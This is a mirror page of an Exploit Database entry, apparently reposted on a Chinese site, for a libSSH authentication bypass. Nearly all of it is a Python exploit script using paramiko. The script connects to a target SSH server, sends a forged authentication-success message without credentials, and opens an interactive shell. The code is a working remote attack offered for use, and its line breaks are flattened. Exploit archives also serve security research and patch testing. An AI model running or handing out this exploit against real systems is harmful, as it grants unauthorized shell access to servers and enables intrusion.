libSSH – Authentication Bypass

• Exploit Database
• 123 阅读

• 作者： Dayanç Soyadlı
  日期： 2018-10-18
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/45638/
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  #!/usr/bin/env python3 import paramiko import socket import argparse from sys import argv, exit     parser = argparse.ArgumentParser(description="libSSH Authentication Bypass") parser.add_argument('--host', help='Host') parser.add_argument('-p', '--port', help='libSSH port', default=22) parser.add_argument('-log', '--logfile', help='Logfile to write conn logs', default="paramiko.log")   args = parser.parse_args()     def BypasslibSSHwithoutcredentials(hostname, port):   sock = socket.socket() try: sock.connect((str(hostname), int(port)))   message = paramiko.message.Message() transport = paramiko.transport.Transport(sock) transport.start_client()   message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) transport._send_message(message)   spawncmd = transport.open_session() spawncmd.invoke_shell() return 0   except paramiko.SSHException as e: print("TCPForwarding disabled on remote/local server can't connect. Not Vulnerable") return 1 except socket.error: print("Unable to connect.") return 1     def main(): paramiko.util.log_to_file(args.logfile) try: hostname = args.host port = args.port except: parser.print_help() exit(1) BypasslibSSHwithoutcredentials(hostname, port)   if __name__ == '__main__': exit(main())